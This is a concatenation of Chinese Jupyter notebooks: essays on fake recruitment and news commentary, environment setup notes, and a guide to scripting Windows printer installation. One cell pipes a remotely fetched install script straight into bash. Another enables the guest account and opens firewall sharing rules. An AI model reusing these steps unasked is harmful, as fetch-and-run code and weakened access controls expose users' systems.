政府在虚假招聘的治理中扮演着“不够作为者”之角色。一方面,在常监管实践中,相关职能部门面对求职者的投诉或举报,常常表现出冷漠、相互推诿、形式正义和政绩“理性:”等官僚制作风,其实际上也是在失范情境下产生的越轨反应,且同样出某种“理性算计”:另一方面,在行政机关不作为或不够作为的背后潜藏着相应的制度缺陷,如有关法律法规的不健全和存有瑕疵的行政执法制度。前者正要体现在《广告法》、《芳动法》和《刑法》等法律法规在某些方面存在空白或漏洞:后者则体现在:“多头管理”、“书面化”的企业注册审核制度、招聘广告审查与管理的缺位,以及笼统、繁琐的投诉举报受理制度等方面。\n", "\n", "### 社会公信力瓦解的后果\n", "\n", "社会公信力的瓦解会导致广泛而深远的问题,对社会和个人都会产生负面影响。以下是可能的后果:\n", "\n", "1. **社会不稳定:** 社会公信力的瓦解可能导致社会不稳定。如果人们失去对政府、机构和权威的信任,可能会引发社会不满、抗议、示威等行动,从而危及社会的和谐与稳定。\n", "2. **法治退化:** 公信力的缺失可能会削弱法律和法治的效力。人们可能不再相信法律的公平执行,这可能导致法律的不遵守、绕过法律、腐败和不正当行为的增加。\n", "3. **经济不稳定:** 在一个公信力受损的环境中,投资者和企业可能会缺乏信心,导致投资减少,经济活动减缓。市场的不稳定性可能会增加,影响经济的增长和发展。\n", "4. **社会合作减少:** 公信力的丧失可能会影响社会合作和团结。人们可能不再相信他人,不愿意合作,从而导致社会信任的减少,社会的互助网络受损。\n", "5. **政府无法有效治理:** 如果公众不再相信政府,政府可能难以有效地履行职责和提供公共服务。这可能导致治理能力下降,影响社会的正常运转。\n", "6. **人际关系恶化:** 社会公信力的瓦解可能导致人际关系的恶化。人们可能怀疑他人的动机,不再信任朋友、家人甚至同事,这可能影响社会的凝聚力和人际互动。\n", "7. **信息信任危机:** 在信息时代,信息的真实性和可信度至关重要。公信力的丧失可能导致人们对于信息的不信任,影响公共舆论和决策。\n", "\n", "综上所述,社会公信力的瓦解可能引发多个领域的问题,从社会稳定性到法治建设、经济发展和人际关系,都可能受到影响。因此,保持社会的公信力和信任是社会各界共同关注的重要议题,需要政府、机构和公众共同努力,建设一个更加诚信、公正和稳定的社会环境。\n", "\n", "### 附录\n", "\n", "#### 维权过程图景\n", "\n", "> 图片选自 [刘莫鲜《在虚假招聘的背后 一对大学生求职受騙现象的质性探究》p171 ](#fn4-black)\n", "\n", "\n", "\n", "#### 节选论文中提到过的部分新闻案例\n", "\n", "**其一**\n", "\n", "\n", "\n", "**其二**\n", "\n", "\n", "\n", "**其三**\n", "\n", "\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 参考文献\n", "\n", "[[1] 杨勇. 后疫情时代高校毕业生就业形势及对策[J]. 合作经济与科技,2023(9):87.](#fn1)
    \n", "[[2] 袁佳薇. 高职学生就业胜任力与就业压力的关系探究[J]. 公关世界,2023(6):77.](#fn2)
    \n", "[[3] 马继强. 中小企业人力资源管理中的招聘问题研究[J]. 企业管理,2022(6):144](#fn3)
    \n", "[[4] 刘莫鲜. 在虚假招聘的背后 一对大学生求职受騙现象的质性探究[M]. 南京大学博士学位毕业论文,2012(8):61-64, 152-154, 171,174, 220](#fn4-black)
    " ] } ], "metadata": { "language_info": { "name": "python" }, "orig_nbformat": 4 }, "nbformat": 4, "nbformat_minor": 2 } ================================================ FILE: d-ipynb/平台兼容问题.ipynb ================================================ { "cells": [ { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 0x01\n", "\n", "Linux迁移 Windows command 工具:\n", "\n", "- [cygwin](http://www.cygwin.com/) 类子系统\n", "- [gnuwin32](http://gnuwin32.sourceforge.net/)、[minGW](http://www.mingw.org/) 保持原生环境,尽可能提供类似的方案\n", "\n", "python环境问题:\n", "\n", "- pyenv+pipx+poetry\n", " - pyenv灵活地安装与切换python版本,搭配poetry可快速生成相应版本环境。\n", " - pipx升级依赖工具包方便,不用担心全局兼容问题。\n", " - 编译的程序通常会依赖各种包,这个要看开发者给出相应提示安装哪些包了。\n", "- miniconda、anaconda这类python发行版,依赖库齐全。\n", "\n", "jupyter 脚注问题:[jupyter/notebook#1287 (comment)](https://github.com/jupyter/notebook/issues/1287#issuecomment-451080550) ,另外注意此类方法需下载文件到本地才能正常使用。\n", "\n", "## 0x02\n", "\n", "安装 brew" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "vscode": { "languageId": "shellscript" } }, "outputs": [], "source": [ "/bin/bash -c \"$(curl -fsSL https://gitee.com/ineo6/homebrew-install/raw/master/install.sh)\"" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "安装 ruby" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "vscode": { "languageId": "shellscript" } }, "outputs": [], "source": [ "brew install ruby\n", "echo 'export PATH=\"/opt/homebrew/opt/ruby/bin:$PATH\"' >> ~/.zshrc" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "Chrome driver 驱动兼容问题:\n", "\n", "python利用管理器进行自动升级操作" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "from selenium import webdriver\n", "from webdriver_manager.chrome import ChromeDriverManager\n", "driver = webdriver.Chrome(ChromeDriverManager().install())" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "brew 安装 chromedriver" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "vscode": { "languageId": "shellscript" } }, "outputs": [], "source": [ "which chromedriver\n", "brew install chromedriver\n", "brew upgrade chromedriver\n", "chromedriver --version" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.11.4" }, "orig_nbformat": 4 }, "nbformat": 4, "nbformat_minor": 2 } ================================================ FILE: d-ipynb/打印机自动化安装研究.ipynb ================================================ { "cells": [ { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "# 打印机自动化安装研究\n", "\n", "(图床链接已失效,关键的东西还是放在GitHub上靠谱...)\n", "\n", "## 前言\n", "\n", "初次安装打印机,起先我们需要数分钟来浏览阅读说明,然后再花费[片刻时间不等](https://www.bing.com/search?q=%E7%89%87%E5%88%BB%E7%9A%84%E5%85%B7%E4%BD%93%E6%97%B6%E9%97%B4)进行初次的实机操作。但打印机属于精密仪器,而且有别于通常的电视、冰箱这类单一功能家电,它对环境配置、设置参数灵敏度高,操作不当极易造成设备异常与故障。除带来的维修成本外,且由于打印机与多项纸质文书与业务挂钩,这就较大可能会导致企业生产计划延误、产品质量下降和客户投诉等问题,因此企业信息部通常会由专人专职负责保养与管理,以最大程度地减少损坏发生的概率,并及时进行维修和更换。\n", "\n", "主流厂家的打印机在质量方面,同电脑主机般经久耐用。在实际工作中,遇到的与打印机关联的问题,占比最高的两类:驱动响应阻塞(重启、重装解决)、主机建立打印机通信的网络配置。\n", "\n", "图表统计数据为2021年1月至10月截止,小微企业120人不等。\n", "\n", "![](https://www.hualigs.cn/image/6488124bb8bdf.jpg)\n", "\n", "一般而言,重启打印机、重装打印机驱动,并不需要非常专门的技术。对于普通用户而言,了解一些基础的网络、软件知识就可以完成打印机配置。从上述现象也造成了另一个习焉不察的问题就是,多数公司员工匮乏电脑与打印机之间的基础知识与应用经验,基础故障时无法有效地解决问题;绝大数情况只能等待专职人员处理,从而浪费时间和资源;在知识储备不足的情况下,自行盲目操作又有可能使问题放大的风险。\n", "\n", "\n", "为此,我能想到的方案有三:一、聘请专员(包括但不限于自聘、外包),二、员工指导培训,三、针对主要问题,进行自动化处理。\n", "\n", "* 方案一,专员响应最快,人力成本高,不适用于小微企业。\n", "* 方案二,培训占用集体及个人时间较长,点到为止又会流于形式 \n", "\n", "方案三虽说需要占用软件开发与测试、运维的额外时间专门处理,承担了一定系统、打印机厂商的技术负债,但有效缩短了专员赶赴现场、基础故障排查,并最终解决问题的时间。\n", "\n", "考虑到打印机是企业日常办公不可或缺的精密仪器设备,对互联主机设备环境敏感,频发基础环境异常问题,且分析这方面自动化文章及案例较少,故选此题研究。\n", "\n", "## 基础自动化安装网络打印机(通用驱动程序直连)\n", "\n", "在部分情况下,即使没有安装打印机驱动程序,仍然可以连接到打印机并进行打印,这一般是操作系统本身已经包含了通用类型的打印机驱动程序。但获得最佳打印质量和功能,则还是需要安装特定的打印机具体型号驱动程序。\n", "\n", "自动安装通用打印机驱动,如下代码所示。" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "vscode": { "languageId": "bat" } }, "outputs": [], "source": [ "rundll32 printui.dll,PrintUIEntry /if /r \"IP_192.168.0.252 /m \"Generic / Text Only\"" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 自动化安装网络打印机驱动程序(专有驱动程序包制作)\n", "\n", "由于惠普打印机驱动不支持静默安装,所以使用备份还原方式拟态静默安装。这类自动化需要自行打包驱动文件与执行代码。\n", "\n", "**示例:系统:Windows10;IP:192.168.0.252;打印机:HP LaserJet M1536dnf MFP**\n", "\n", "**首先需要手动安装一遍打印机** ,然后操作分三步:\n", "\n", "1. 导出打印机注册表\n", "1. 导出驱动,并定位具体型号驱动\n", "1. 编写代码,导入步骤1注册表与步骤2驱动文件\n", "\n", "### 1. 导出注册表\n", "\n", "在手动完成打印机安装的情况下,执行如下指令,该指令执行后会在用户根目录生成 IP_192.168.0.252.reg 文件。" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "vscode": { "languageId": "bat" } }, "outputs": [], "source": [ "reg export \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Standard TCP/IP Port\\Ports\\IP_192.168.0.252\" \"%userprofile%\\IP_192.168.0.252.reg\"" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "### 2. 导出驱动,并定位具体型号驱动\n", "\n", "导出驱动,在当前用户名的Links文件夹(由于驱动程序很多,故将其置于此目录下)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "vscode": { "languageId": "bat" } }, "outputs": [], "source": [ "dism /online /export-driver /destination:%userprofile%\\Links" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "从打印器服务属性查看安装打印机驱动依赖关联\n", "\n", "\n", "\n", "\n", "复制配置文件名称,搜索导出的驱动是否存在此配置\n", "\n", "\n", "\n", "复制所有与配置文件相关的驱动文件到自定义目录,例如:C:\\Users\\nice\\Documents\\hpcu215u.inf\n", "\n", "\n", "\n", "### 3. 编写代码,导入步骤1注册表与步骤2驱动文件\n", "\n", "注意:为保持稳定性首先需重置spooler服务 `net stop spooler & net start spooler`\n", "\n", "编写代码\n", "\n", "```\n", "@REM 静默模式导入步骤一的注册表\n", "regedit /s\"%userprofile%\\IP_192.168.0.252.reg\n", "\n", "@REM 将步骤二的自定义目录的有关打印机配置驱动进行导入式安装\n", "rundll32 printui.dll,PrintUIEntry /if /f %userprofile%\\Documents\\hpcu215u.inf\\hpcu215u.inf /r \"IP_192.168.0.252\" /m \"HP Universal Printing PCL 6\" \n", "```\n", "\n", "安装成功如下图所示\n", "\n", "\n", "\n", "### 设置默认打印机\n", "\n", "```\n", "echo 设置成默认打印机\n", "reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\" /v Device /t REG_SZ /d \"HP Universal Printing PCL 6,winspool,Ne09:\" /f\n", "```\n", "\n", "\n", "\n", "\n", "**注意:win11及以上系统,需要关闭让Windows管理我的打印机,设置默认打印机的注册表才能生效**" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "vscode": { "languageId": "bat" } }, "outputs": [], "source": [ "echo 关闭让Windows管理我的打印机\n", "reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\" /v LegacyDefaultPrinterMode/t REG_DWORD /d 1 /f\n", "\n", "echo 设置成默认打印机\n", "reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\" /v Device /t REG_SZ /d \"HP Universal Printing PCL 6,winspool,Ne09:\" /f" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "\n", "至此,后续可将代码与注册表分别放入步骤二所导出的打印机驱动文件夹内,打包成压缩包,以供一键自动化安装。" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 共享打印机\n", "\n", "**示例:**\n", "\n", "* **系统:Windows10;连接主机IP:192.168.0.252;打印机:HP Laserjet P1606dn**\n", "* **共享账号:用户名:ABC;密码:123456**\n", "\n", "\n", "### 1. 获取到共享打印机名称\n", "\n", "如果仅用bat来动态获取共享打印机名称将会大大增加逻辑复杂度,打印机驱动程序一般情况少有变动。首先建立持久化连接,然后通过`net view` 查看共享主机资源。通过类别来知道具体的共享打印机名称。" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "vscode": { "languageId": "bat" } }, "outputs": [], "source": [ "net use \\\\192.168.0.158 /user:abc 123456 /persistent:yes\n", "net view \\\\192.168.0.158" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "\n", "\n", "拿到打印机名称\n", "\n", "### 3. 安装" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "vscode": { "languageId": "bat" } }, "outputs": [], "source": [ "rundll32 printui.dll,PrintUIEntry /y /in /n \"\\\\192.168.0.158\\HP LaserJet Professional P1606dn (副本 1)\" /q" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "![](https://www.hualigs.cn/image/64897e6eaed2f.jpg)" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "\n", "\n", "## 附录\n", "\n", "### 其他调试运行的报错处理\n", "\n", "清理打印池,不清理打印池会影响驱动安装。" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "vscode": { "languageId": "bat" } }, "outputs": [], "source": [ "del /s /q C:\\Windows\\System32\\spool\\printers\\*" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "删除spool中的printers目录里的所有文件\n", "\n", "" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "如下报错,针对特定品牌机存在“储存区不可用”的问题,需要解除强制驱动签名设置,即F8高级启动项,禁用驱动签名设置。详情参考:[csdn -win10安装打印机驱动程序失败“试图将读懂程序添加到存储区时遇到问题”](https://blog.csdn.net/weixin_43215344/article/details/119637939)\n", "\n", "\n", "\n", "解除后,允许安装即可。\n", "\n", "\n" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "\n", "### 设置不带密码的共享打印机简要说明\n", "\n", "就有关“设置不带密码的共享打印机”,常规情况下需要进入本地组策略进行设置,解除特定用户组及用户的限制,对网络访问设置(组策略:“本地账户的共享和安全模型”)特殊的身份验证,并放行“文件和打印机共享”的防火墙有关条目,方可设置成功。另一方面,由于自动化设置共享打印机涉及多方面的综合知识整理分析与集成应用,需要对硬件厂商驱动支持、组策略、编程语言有着全方位体系化了解与应用。" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "### 参考资料\n", "\n", "* [百度经验 - 如何不用输入主机账号密码连接共享打印机](https://jingyan.baidu.com/article/fec4bce26ace28f2608d8b71.html)\n", "* [百度经验 - 设置打印机共享,适用Win7、Vista、xp,不用密码](https://jingyan.baidu.com/article/b907e627d4cdd446e7891ce7.html)\n", "* [Elmagnifico's Blog - 注册表追踪](https://elmagnifico.tech/2022/05/15/Registry-Track/)\n", "* [HP - 管理和配置打印机驱动程序](http://h10032.www1.hp.com/ctg/Manual/c01605519.pdf)\n", "* [4sysops - Install, remove, list, and set default printer with PowerShell](https://4sysops.com/archives/install-remove-list-and-set-default-printer-with-powershell/)\n", "* [wavecn - Windows 系统安全基线及软件工具介绍](http://www.wavecn.com/content.php?id=268)\n", "* [serverfault.com - How can I locate Registry key for Group policy settings?](https://serverfault.com/questions/911131/how-can-i-locate-registry-key-for-group-policy-settings)\n", "* [serverfault.com - How can I view the mapping between GPOs and registry settings?](https://serverfault.com/questions/937991/how-can-i-view-the-mapping-between-gpos-and-registry-settings)\n", "* [网上校管系统资料库(香港)- IT Security - Windows Server Hardening Guide (English Version)](https://cdr.websams.edb.gov.hk/Files/Sys_sec/Sys_operation/Windows%20Server%20Hardening%20Guide.pdf)\n", "* [How to import group policy module in powershell](https://tonygonzalez0379.com/2018/09/04/how-to-import-group-policy-module-in-powershell/)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "vscode": { "languageId": "powershell" } }, "outputs": [], "source": [ "# 关闭防火墙\n", "# netsh advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes profile=domain\n", "netsh advfirewall firewall set rule group=\"核心网络诊断\" new enable=Yes\n", "netsh advfirewall firewall set rule group=\"文件和打印机共享\" new enable=Yes\n", "\n", "# 开启guest账户\n", "net user guest /active:yes\n", "\n", "# 设置共享打印机\n", "Set-Printer -Name \"HP LaserJet M1536dnf MFP (FBC07F)\" -Shared $True -ShareName \"HP LaserJet M1536dnf MFP (FBC07F)\"" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "vscode": { "languageId": "bat" } }, "outputs": [], "source": [ "@REM ping 5 次以上,如果不在线,就退出\n", "ping -n 5 %printerIP% > nul\n", "if %errorlevel% neq 0 (\n", " echo 不在线 %printerIP% 稍后试\n", " pause\n", " exit\n", ")" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "组策略指令支持需另行配置额外的模块,并且需要一个完整初始的Windows环境(最好是Windows server)才能确保顺利进行安装成功。可参考如下方案:\n", "\n", "* [prajwaldesai - install-group-policy-management-console-on-windows-11](https://www.prajwaldesai.com/install-group-policy-management-console-on-windows-11/)\n", "* [系统极客 - 如何在 Windows 10 Version 1809 中安装 RSAT 远程服务器管理工具](https://www.sysgeek.cn/windows-10-1809-install-rsat/)\n", "* [learn.microsoft - 远程服务器管理工具](https://learn.microsoft.com/zh-cn/windows-server/remote/remote-server-administration-tools#install-uninstall-and-turn-offon-rsat-tools)" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.10.9" } }, "nbformat": 4, "nbformat_minor": 2 } ================================================ FILE: d-ipynb/民生及时评类新闻基础分析.ipynb ================================================ { "cells": [ { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 民生类新闻,以《1818黄金眼》为例\n", "\n", "虽然我本人看《1818黄金眼》的次数较少,目前总的算下来也就看了五回左右不等。以下为了方便叙述,对《1818黄金眼》简称《黄金眼》。就我自身而言,观看时间基本上聚焦于《黄金眼》提供的内容,未有在《黄金眼》选材、选题方面的思索。再回顾《黄金眼》往期内容,《黄金眼》新闻标题通常以疑问句,或事件争端的陈述句为主;视频时长通常在十分以内,一天发布的2~3部及以上视频。[覃玉颖(2021.8)](#fn1-black)的观点《黄金眼》在传统的民生新闻上,增加了对街头趣闻、市井奇闻、名人轶事的集中发布,让用户本能地频繁切换信息元素,满足自我猎奇心理,呈现碎片化内容生产。总体上对《黄金眼》的基本信息概括相符。\n", "\n", "不同地域的人,在单向度的现代社会中,往往面临着相似的 生活困境与社会纠纷,经由媒体选择典型民生个例加以报道,很容易使民众获得切身体会,产生跨地域的情感共鸣,这意味着地 方民生类新闻只要在选材上能抓住时代共性、传播上能够满足时代的要求,就具备了“出圈爆红”的可能。地方民生类节目应当在坚持记者操守的基础上,立足本土特色,深耕内容优势,尊重市场趋势,努力在线上平台寻求自身发展的新机遇与新契机。\n", "\n", "就如上,[覃玉颖(2021.8)](#fn1-black)这段话,总的来说是对《黄金眼》节目的肯定与认同。《黄金眼》的出圈,吸引了一批新生代用户,一定程度上,这类民生新闻节目拓宽新生代用户见闻视域,同时也增强了他们感知社会视阈。从听众视角来看,《黄金眼》反映了不少热点民生话题,是为大众着想、着眼于大众的民生新闻节目。从媒体发展视角,更多是在如今大众生活节奏加快、阅读习惯改变、聚焦分散等问题上,媒体基于当今社会现实的思考与生存发展,这也在宏观上,反映了民生类新闻在后现代社会的嬗变。" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 舆论失焦现象分析,以《1818黄金眼》小张走红一事为例\n", "\n", "以[ 商锦暄(2021)](#fn2-black)引用[ 严利华(2016)](#fn3-black)的定义解释:“由于网络发展,公众知情权、话语权提升,事件中舆论难以被一方主导,使得舆情演变的主体脉络呈现多极化发展以至逐渐偏离事件中心议题的现象。” 简单来说,这里的失焦就是脱离主题。\n", "\n", "[ 商锦暄(2021)](#fn2-black)分析失焦成因的如下三点是一个结构性的总纲概括,但行文叙述往往是总分结构。而人对事件的总结,通常是分总顺序进行的。这点要注意。\n", "\n", "1. “注意力经济”时代与“流量为王”生存法则繁衍舆论失焦的新闻报道。\n", "2. 创新节目内容与病毒式传播渠道是舆论失焦的催化剂。\n", "3. 身处风险社会的受众赋予新闻节目娱乐价值致使新闻导向偏航。\n", "\n", "简略提及如上三点的具体分析的关键短语:\n", "\n", "1. “注意力经济”、“流量为王”、“颜值”、“快感”、“关注度”、“讨论度”、“货币”、“筹码”\n", "2. “[精英化](https://baike.baidu.com/item/精英文化/11042927?fromtitle=精英化&fromid=16795454&fr=aladdin)到[平民化](https://baike.baidu.com/item/平民化/6949324?fr=ge_ala)“、“严肃性到娱乐性”、“啼笑皆非”、“匪夷所思”、“病毒式传播”、“用户群庞大”、“媒介素养不均”\n", "3. 身处风险社会、对严肃内容的排斥心理、排解忧虑、娱乐方式、获得快感、满足窥私欲\n", "\n", "由此,这也可以解释我之前的疑问 “为什么我看同事日常精干处理工作事务,但涉及到电视剧、新闻报道却是人云亦云没多少见解,像个白痴一样?” 总的说来,舆论失焦现象也是必然且常态的现象。用户对新闻标题的猎奇点击,对事件的耐心等待与深入思考已不符合这方面一部分受众用户的期望了。在注意力、精力有限的情况下,这部分受众用户从而转向其他具有话题性、娱乐性的闲谈讨论,爆米花式的休闲娱乐(吃瓜)以此舒缓压力获得快感。" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 新闻网评节目 ——以《睡前消息》为例\n", "\n", "从陈家玮(2021)对《睡前消息》76期节目【武汉软件学院清理学生宿舍问题】调查不完善,点评偏颇,引发了许多大学生受众的反对意见和持续争议。可我看了《睡前消息》76期文稿[【为什么奖励主动承认病情的人,会对防疫有好处?】](https://btnews.ktlab.io/btnews/idx/0076/) 中提到的这一事件,引发大多数学生反对,难说。发言权通常往往被占强势的校方所代表,所谓的民族大义、顾及集体利益,往往要分割大多数学生的利益,如今注重自我与个人的时代,这样的做法可未必会得到大多数学生义愤填膺的认同与支持,更多的唤起心中同情而自发提供的帮助。\n", "\n", "陈家玮(2021):《睡前消息》坚持理性、去情绪化思维,挖掘新闻事件深层,平息受众的怒气和怨气,缓解社会矛盾,并从相关事件衍发对基层治理的思考和讨论,取得了不错的效果。这也说明这类网评节目存在的必要性,从一定程度上来说,《睡前消息》的建设性新闻实践构筑了民众与社会、经济学之间开拓性探索的桥梁。立足未来,提出前瞻性解决对策,有促进开启民智的作用。不过,额外强调一点:开启民智目的是让每个人都具备批判性思维,能够自主思考和客观分析问题,不被误导或愚弄;它强调的是社会共同进步的需要,而不是贬低民众的能力或价值。\n", "\n", "[ 陈家玮(2021)](#fn4-black) 、[ 何鑫(2021)](#fn5-black) 两者各自分析了《睡前消息》存在的客观局限,基于《睡前消息》团队规模、新闻多样化的内容,团队专业能力范围存在局限,难以稳控周期更新的节目质量。何鑫对《睡前消息》的态度更近似于学习性的研究,着重于自媒体时评发展的启示方面,较少提出建设性意见。陈家玮则表示:“《睡前消息》作为有一定影响力的自媒体时政评论节目,提倡唯物主义、实事求是,以人民群众为中心的理念,在此次疫情报道中发挥自身优势,与主流媒体错位发展,优势互补,通过解释报道框架,对各类舆论热点事件进行科学理性的分析,引导受众产生积极正面的情绪,缓释社会矛盾,同时提出面向未来的可行性建设性方案,彰显了建设性新闻的问题导向和行动导向,但仍然存在很多不足之处。自媒体工作者需要提升职业素养,加强信源权威,邀请专业智囊把关,改进节目形式,并适当协调好商业营销和建设性新闻的敏感关系,在重大突发性公共事件的建设性报道中更好地发挥自媒体的作用。” 深中肯綮道在自媒体时评的整体积极的发展方向。" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 番外\n", "\n", "### ChatGPT 润色:\n", "\n", "[ 陈家玮(2021)](#fn4-black) 、[ 何鑫(2021)](#fn5-black) 分别对《睡前消息》存在的客观局限进行了分析。他们指出,《睡前消息》团队规模有限,导致新闻内容的多样性受到了限制,同时团队在专业能力范围上也存在局限,难以稳定控制节目质量的更新周期。在对《睡前消息》的态度上,何鑫更多地倾向于将其视为学习性研究的对象,主要关注自媒体时评发展的启示方面,较少提出建设性意见。\n", "\n", "相比之下,陈家玮则认为,《睡前消息》作为一档有一定影响力的自媒体时政评论节目,秉承了唯物主义、实事求是的理念,并以人民群众为中心。他强调在疫情报道中,《睡前消息》充分发挥了自身优势,与主流媒体形成了错位发展,实现了互补。该节目通过解释报道框架,对各类舆论热点事件进行科学理性的分析,引导受众产生积极正面的情绪,缓和了社会矛盾。同时,节目也提出了面向未来的可行性建设性方案,彰显了建设性新闻的问题导向和行动导向。\n", "\n", "然而,陈家玮也意识到,《睡前消息》仍然存在许多不足之处。他认为自媒体工作者需要提升职业素养,加强信源权威,并邀请专业智囊进行把关。此外,改进节目形式以及适当协调商业营销和建设性新闻之间的敏感关系也是必要的措施。尤其在重大突发性公共事件的建设性报道中,自媒体应更好地发挥作用。\n", "\n", "综上所述,这段文字描述了陈家玮和何鑫对《睡前消息》存在的客观局限的分析,并呈现出两位作者在态度和观点上的不同。陈家玮强调了节目在疫情报道中的优势和与主流媒体的互补,同时也指出了改进的方向和必要的措施。这段润色后的文字依然表达了自媒体时评的积极发展方向,避免了冗余和歧义的表达。\n", "\n", "### Chatgpt 答疑\n", "\n", "问:为什么我表达不出来这种效果,只能陈述笔者陈家玮的原话?\n", "\n", "答:\n", "\n", "我理解您的困惑。在表达时,有时候我们难以找到恰当的措辞来传达特定的意思或效果。这可能与个人表达能力、词汇量、语言习惯等因素有关。\n", "\n", "如果您希望润色和修改您的表达方式,可以尝试使用一些修辞手法或具体化的词汇来增强表达效果。比如,使用形象生动的比喻、举例来说明观点,或者使用一些强调的词语和词组来突出重点。同时,也可以注意句子结构的多样性,通过变换句型和使用连接词来使文章更加流畅和有层次感。\n", "\n", "此外,阅读更多优秀的文章、提升词汇量和写作技巧也是提高表达能力的有效途径。不断练习和积累经验,逐渐提高自己的表达能力是一个渐进的过程。\n", "\n", "最后,请记住,每个人的表达方式有所不同,重要的是找到适合自己的方式,用自己独特的声音来表达观点和思想。" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 参考文献\n", "\n", "\n", "[覃玉颖 《传统民生新闻线上转型“出圈”研究 ——以《1818 黄金眼》为例》 2021年8月 《新闻文化建设》75,76页](#fn1)
    \n", "[ 商锦暄《民生新闻节目引发的舆论失焦现象分析 ——以《1818黄金眼》小张走红一事为例》2021年第18期《新媒体研究》86页](#fn2)
    \n", "[ 严利华《突发事件中的 舆论失焦现象及其启示》 2016年第8期《决策与信息》 131页](#fn3)
    \n", "[ 陈家玮《建设性新闻视域下时评类自媒体疫情传播研究 ——以观视频工作室《睡前消息》为例》2021年01月 《新闻研究导刊》100,101页 ](#fn4)
    \n", "[ 何鑫《自媒体网络新闻评论创新研究 ——以《睡前消息》为例》 2021.9 《新闻文化建设》162页](#fn5)
    \n" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "name": "python", "version": "3.11.4" }, "orig_nbformat": 4 }, "nbformat": 4, "nbformat_minor": 2 } ================================================ FILE: d-ipynb/读《“帝吧出征”事件中话语表达与社群动员研究》.ipynb ================================================ { "cells": [ { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 短序\n", "\n", "2016年的“帝吧出征Facebook”事件,这一群抗拒主流的亚文化青年群体,平日里貌似远离政治,却在“周子瑜高举台湾国旗”事件中,帝吧的成员们用集体行动高举爱国主义旗帜“打击台独,维护统一”,刷新人们对网络青年群体的固有印象。从此前的我写过的[亚文化视域评论及弹幕调研.ipynb](https://nbviewer.org/github/hoochanlon/scripts/blob/main/d-ipynb/亚文化视域评论及弹幕调研.ipynb)、[民生及时评类新闻基础分析.ipynb](https://nbviewer.org/github/hoochanlon/scripts/blob/main/d-ipynb/民生及时评类新闻基础分析.ipynb),这也更进一步证明了人具有多元的情感展现以及多样化的兴趣取向。不过这一次分析的重点是 —— 帝吧话语表达与社群动员研究。\n", "\n", "“帝吧出征”反映了台湾与中国在政治教育语境方面的差异:\n", "\n", "台湾方面:根据李红梅(2016)[[1]](#fn3-black)的描述,几十年来,台湾的本土化运动导致认同中国身份的人越来越少,而认同台湾身份的人越来越多。根据台湾政治大学2014年公布的民调数据支持,高达23.8%的台湾民众倾向台独或希望尽快实现台独;60.4%的民众仅认同自己是台湾人;32.7%的民众认为自己既是台湾人又是中国人,而仅有3.5%的民众认为自己是中国人。台独倾向和认同台湾身份的比例达到自1994年以来的新高。\n", "\n", "中国方面:中国在民族主义和爱国主义教育方面进行了广泛的宣传和推广。与此同时,中国经济正以高速发展的方向迈进,这种发展使得中国民众对自身身份和国家认同感越来越自信。因此,在某种程度上,他们可能错误地认为台湾民众不认同中国是因为对中国大陆的了解不足,或者受到精英、媒体、政客以及台独投机分子的误导。\n", "\n", 